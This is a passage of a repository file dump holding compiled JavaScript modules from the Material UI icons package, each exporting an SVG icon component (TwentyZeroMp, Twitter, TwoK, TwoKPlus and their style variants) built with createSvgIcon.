'TwentyZeroMp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwentyZeroMp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.5 7H16v3h-1.5zM19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 15.5h-1.5V14h-1v3H8v-3H7v4.5H5.5v-5c0-.55.45-1 1-1H11c.55 0 1 .45 1 1zm3.5 0H14v-6h3.5c.55 0 1 .45 1 1V16c0 .55-.45 1-1 1h-2zm2-8c0 .55-.45 1-1 1H14c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h2.5c.55 0 1 .45 1 1zM10 9H8v1h3v1.5H6.5V9c0-.55.45-1 1-1h2V7h-3V5.5H10c.55 0 1 .45 1 1V8c0 .55-.45 1-1 1m5.5 5H17v1.5h-1.5z\"\n}), 'TwentyZeroMp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwentyZeroMpOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6-1.5v6H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1zm3 3H15V14h1.5z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 11.5h2.5c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1H14c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1m.5-4.5H16v3h-1.5zM11 10H8V9h2c.55 0 1-.45 1-1V6.5c0-.55-.45-1-1-1H6.5V7h3v1h-2c-.55 0-1 .45-1 1v2.5H11z\"\n}, \"2\")], 'TwentyZeroMpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwentyZeroMpOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6-1.5v6H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1zm3 3H15V14h1.5z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 11.5h2.5c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1H14c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1m.5-4.5H16v3h-1.5zM11 10H8V9h2c.55 0 1-.45 1-1V6.5c0-.55-.45-1-1-1H6.5V7h3v1h-2c-.55 0-1 .45-1 1v2.5H11z\"\n}, \"2\")], 'TwentyZeroMpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwentyZeroMpRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M6.5 9c0-.55.45-1 1-1h2V7H7.25c-.41 0-.75-.34-.75-.75s.34-.75.75-.75H10c.55 0 1 .45 1 1V8c0 .55-.45 1-1 1H8v1h2.25c.41 0 .75.34.75.75s-.34.75-.75.75H7.5c-.55 0-1-.45-1-1zm6 8.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v2.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v3.75c0 .41-.34.75-.75.75S6 18.16 6 17.75V13.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1zm.5-7.25v-4c0-.55.45-1 1-1h2.5c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1H14c-.55 0-1-.45-1-1m5 5.5c0 .55-.45 1-1 1h-2v.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V13.5c0-.55.45-1 1-1H17c.55 0 1 .45 1 1z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 14h1.5v1.5H15zm-.5-7H16v3h-1.5z\"\n}, \"1\")], 'TwentyZeroMpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwentyZeroMpRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2M6.5 9c0-.55.45-1 1-1h2V7H7.25c-.41 0-.75-.34-.75-.75s.34-.75.75-.75H10c.55 0 1 .45 1 1V8c0 .55-.45 1-1 1H8v1h2.25c.41 0 .75.34.75.75s-.34.75-.75.75H7.5c-.55 0-1-.45-1-1zm6 8.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v2.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v3.75c0 .41-.34.75-.75.75S6 18.16 6 17.75V13.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1zm.5-7.25v-4c0-.55.45-1 1-1h2.5c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1H14c-.55 0-1-.45-1-1m5 5.5c0 .55-.45 1-1 1h-2v.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V13.5c0-.55.45-1 1-1H17c.55 0 1 .45 1 1z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 14h1.5v1.5H15zm-.5-7H16v3h-1.5z\"\n}, \"1\")], 'TwentyZeroMpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwentyZeroMpSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.5 7H16v3h-1.5z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3v18h18V3zm3.5 5h3V7h-3V5.5H11V9H8v1h3v1.5H6.5zm6 10.5H11V14h-1v3H8.5v-3h-1v4.5H6v-6h6.5zm.5-13h4.5v6H13zM18 17h-3v1.5h-1.5v-6H18z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"2\")], 'TwentyZeroMpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwentyZeroMpSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.5 7H16v3h-1.5z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3v18h18V3zm3.5 5h3V7h-3V5.5H11V9H8v1h3v1.5H6.5zm6 10.5H11V14h-1v3H8.5v-3h-1v4.5H6v-6h6.5zm.5-13h4.5v6H13zM18 17h-3v1.5h-1.5v-6H18z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"2\")], 'TwentyZeroMpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwentyZeroMpTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14V5H5zm13-5.5V16c0 .55-.45 1-1 1h-2v1.5h-1.5v-6H17c.55 0 1 .45 1 1m-5-7c0-.55.45-1 1-1h2.5c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1H14c-.55 0-1-.45-1-1zM6.5 9c0-.55.45-1 1-1h2V7h-3V5.5H10c.55 0 1 .45 1 1V8c0 .55-.45 1-1 1H8v1h3v1.5H6.5zM6 13.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1v5H11V14h-1v3H8.5v-3h-1v4.5H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.5 7H16v3h-1.5zm.5 7h1.5v1.5H15z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6-1.5v6H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1zm3 3H15V14h1.5z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 11.5h2.5c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1H14c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1m.5-4.5H16v3h-1.5zM11 10H8V9h2c.55 0 1-.45 1-1V6.5c0-.55-.45-1-1-1H6.5V7h3v1h-2c-.55 0-1 .45-1 1v2.5H11z\"\n}, \"4\")], 'TwentyZeroMpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwentyZeroMpTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14V5H5zm13-5.5V16c0 .55-.45 1-1 1h-2v1.5h-1.5v-6H17c.55 0 1 .45 1 1m-5-7c0-.55.45-1 1-1h2.5c.55 0 1 .45 1 1v4c0 .55-.45 1-1 1H14c-.55 0-1-.45-1-1zM6.5 9c0-.55.45-1 1-1h2V7h-3V5.5H10c.55 0 1 .45 1 1V8c0 .55-.45 1-1 1H8v1h3v1.5H6.5zM6 13.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1v5H11V14h-1v3H8.5v-3h-1v4.5H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.5 7H16v3h-1.5zm.5 7h1.5v1.5H15z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6-1.5v6H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1zm3 3H15V14h1.5z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 11.5h2.5c.55 0 1-.45 1-1v-4c0-.55-.45-1-1-1H14c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1m.5-4.5H16v3h-1.5zM11 10H8V9h2c.55 0 1-.45 1-1V6.5c0-.55-.45-1-1-1H6.5V7h3v1h-2c-.55 0-1 .45-1 1v2.5H11z\"\n}, \"4\")], 'TwentyZeroMpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Twitter.js",
    "content": "\"use strict\";\n'use client';\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22.46 6c-.77.35-1.6.58-2.46.69.88-.53 1.56-1.37 1.88-2.38-.83.5-1.75.85-2.72 1.05C18.37 4.5 17.26 4 16 4c-2.35 0-4.27 1.92-4.27 4.29 0 .34.04.67.11.98C8.28 9.09 5.11 7.38 3 4.79c-.37.63-.58 1.37-.58 2.15 0 1.49.75 2.81 1.91 3.56-.71 0-1.37-.2-1.95-.5v.03c0 2.08 1.48 3.82 3.44 4.21a4.22 4.22 0 0 1-1.93.07 4.28 4.28 0 0 0 4 2.98 8.521 8.521 0 0 1-5.33 1.84c-.34 0-.68-.02-1.02-.06C3.44 20.29 5.7 21 8.12 21 16 21 20.33 14.46 20.33 8.79c0-.19 0-.37-.01-.56.84-.6 1.56-1.36 2.14-2.23z\"\n}), 'Twitter');"
  },
  {
    "path": "packages/mui-icons-material/lib/Twitter.mjs",
    "content": "'use client';\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22.46 6c-.77.35-1.6.58-2.46.69.88-.53 1.56-1.37 1.88-2.38-.83.5-1.75.85-2.72 1.05C18.37 4.5 17.26 4 16 4c-2.35 0-4.27 1.92-4.27 4.29 0 .34.04.67.11.98C8.28 9.09 5.11 7.38 3 4.79c-.37.63-.58 1.37-.58 2.15 0 1.49.75 2.81 1.91 3.56-.71 0-1.37-.2-1.95-.5v.03c0 2.08 1.48 3.82 3.44 4.21a4.22 4.22 0 0 1-1.93.07 4.28 4.28 0 0 0 4 2.98 8.521 8.521 0 0 1-5.33 1.84c-.34 0-.68-.02-1.02-.06C3.44 20.29 5.7 21 8.12 21 16 21 20.33 14.46 20.33 8.79c0-.19 0-.37-.01-.56.84-.6 1.56-1.36 2.14-2.23z\"\n}), 'Twitter');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwoK.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-9 9.5H8v1h3V15H6.5v-2.5c0-.55.45-1 1-1h2v-1h-3V9H10c.55 0 1 .45 1 1v1.5c0 .55-.45 1-1 1m8 2.5h-1.75l-1.75-2.25V15H13V9h1.5v2.25L16.25 9H18l-2.25 3z\"\n}), 'TwoK');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwoK.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-9 9.5H8v1h3V15H6.5v-2.5c0-.55.45-1 1-1h2v-1h-3V9H10c.55 0 1 .45 1 1v1.5c0 .55-.45 1-1 1m8 2.5h-1.75l-1.75-2.25V15H13V9h1.5v2.25L16.25 9H18l-2.25 3z\"\n}), 'TwoK');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwoKOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 13.5H8v-1h2c.55 0 1-.45 1-1V10c0-.55-.45-1-1-1H6.5v1.5h3v1h-2c-.55 0-1 .45-1 1V15H11zm3.5-.75L16.25 15H18l-2.25-3L18 9h-1.75l-1.75 2.25V9H13v6h1.5z\"\n}, \"1\")], 'TwoKOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwoKOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 13.5H8v-1h2c.55 0 1-.45 1-1V10c0-.55-.45-1-1-1H6.5v1.5h3v1h-2c-.55 0-1 .45-1 1V15H11zm3.5-.75L16.25 15H18l-2.25-3L18 9h-1.75l-1.75 2.25V9H13v6h1.5z\"\n}, \"1\")], 'TwoKOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwoKPlus.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-9.5 8.5c0 .55-.45 1-1 1h-2v1h3V15H5v-2.5c0-.55.45-1 1-1h2v-1H5V9h3.5c.55 0 1 .45 1 1zm4.75 3.5-1.75-2.25V15H11V9h1.5v2.25L14.25 9H16l-2.25 3L16 15zM20 12.5h-1.5V14h-1v-1.5H16v-1h1.5V10h1v1.5H20z\"\n}), 'TwoKPlus');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwoKPlus.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-9.5 8.5c0 .55-.45 1-1 1h-2v1h3V15H5v-2.5c0-.55.45-1 1-1h2v-1H5V9h3.5c.55 0 1 .45 1 1zm4.75 3.5-1.75-2.25V15H11V9h1.5v2.25L14.25 9H16l-2.25 3L16 15zM20 12.5h-1.5V14h-1v-1.5H16v-1h1.5V10h1v1.5H20z\"\n}), 'TwoKPlus');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwoKPlusOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 8.5h-1.5V10h-1v1.5H15v1h1.5V14h1v-1.5H19V19H5V5h14z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10 13.5H7.5v-1H9c.55 0 1-.45 1-1V10c0-.55-.45-1-1-1H6v1.5h2.5v1H7c-.55 0-1 .45-1 1V15h4zm2.5-.75L14.25 15H16l-2.25-3L16 9h-1.75l-1.75 2.25V9H11v6h1.5z\"\n}, \"1\")], 'TwoKPlusOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwoKPlusOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 8.5h-1.5V10h-1v1.5H15v1h1.5V14h1v-1.5H19V19H5V5h14z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M10 13.5H7.5v-1H9c.55 0 1-.45 1-1V10c0-.55-.45-1-1-1H6v1.5h2.5v1H7c-.55 0-1 .45-1 1V15h4zm2.5-.75L14.25 15H16l-2.25-3L16 9h-1.75l-1.75 2.25V9H11v6h1.5z\"\n}, \"1\")], 'TwoKPlusOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwoKPlusRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-9 8.5c0 .55-.45 1-1 1H7.5v1h1.75c.41 0 .75.34.75.75s-.34.75-.75.75H7c-.55 0-1-.45-1-1v-1.5c0-.55.45-1 1-1h1.5v-1H6.75c-.41 0-.75-.34-.75-.75S6.34 9 6.75 9H9c.55 0 1 .45 1 1zm4.04 3.23-1.54-1.98v1.5c0 .41-.34.75-.75.75s-.75-.34-.75-.75v-4.5c0-.41.34-.75.75-.75s.75.34.75.75v1.5l1.54-1.98c.13-.17.34-.27.55-.27.58 0 .91.66.56 1.12L13.75 12l1.41 1.88c.34.46.01 1.12-.57 1.12-.21 0-.42-.1-.55-.27m4.46-2.23h-1v1c0 .28-.22.5-.5.5s-.5-.22-.5-.5v-1h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1v-1c0-.28.22-.5.5-.5s.5.22.5.5v1h1c.28 0 .5.22.5.5s-.22.5-.5.5\"\n}), 'TwoKPlusRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwoKPlusRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-9 8.5c0 .55-.45 1-1 1H7.5v1h1.75c.41 0 .75.34.75.75s-.34.75-.75.75H7c-.55 0-1-.45-1-1v-1.5c0-.55.45-1 1-1h1.5v-1H6.75c-.41 0-.75-.34-.75-.75S6.34 9 6.75 9H9c.55 0 1 .45 1 1zm4.04 3.23-1.54-1.98v1.5c0 .41-.34.75-.75.75s-.75-.34-.75-.75v-4.5c0-.41.34-.75.75-.75s.75.34.75.75v1.5l1.54-1.98c.13-.17.34-.27.55-.27.58 0 .91.66.56 1.12L13.75 12l1.41 1.88c.34.46.01 1.12-.57 1.12-.21 0-.42-.1-.55-.27m4.46-2.23h-1v1c0 .28-.22.5-.5.5s-.5-.22-.5-.5v-1h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1v-1c0-.28.22-.5.5-.5s.5.22.5.5v1h1c.28 0 .5.22.5.5s-.22.5-.5.5\"\n}), 'TwoKPlusRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwoKPlusSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3v18h18zm-11 9.5H7.5v1H10V15H6v-3.5h2.5v-1H6V9h4zm4.25 2.5-1.75-2.25V15H11V9h1.5v2.25L14.25 9H16l-2.25 3L16 15zM19 12.5h-1.5V14h-1v-1.5H15v-1h1.5V10h1v1.5H19z\"\n}), 'TwoKPlusSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwoKPlusSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3v18h18zm-11 9.5H7.5v1H10V15H6v-3.5h2.5v-1H6V9h4zm4.25 2.5-1.75-2.25V15H11V9h1.5v2.25L14.25 9H16l-2.25 3L16 15zM19 12.5h-1.5V14h-1v-1.5H15v-1h1.5V10h1v1.5H19z\"\n}), 'TwoKPlusSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TwoKPlusTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14v-6.5h-1.5V14h-1v-1.5H15v-1h1.5V10h1v1.5H19V5H5zm6-10h1.5v2.25L14.25 9H16l-2.25 3L16 15h-1.75l-1.75-2.25V15H11zm-5 3.5c0-.55.45-1 1-1h1.5v-1H6V9h3c.55 0 1 .45 1 1v1.5c0 .55-.45 1-1 1H7.5v1H10V15H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 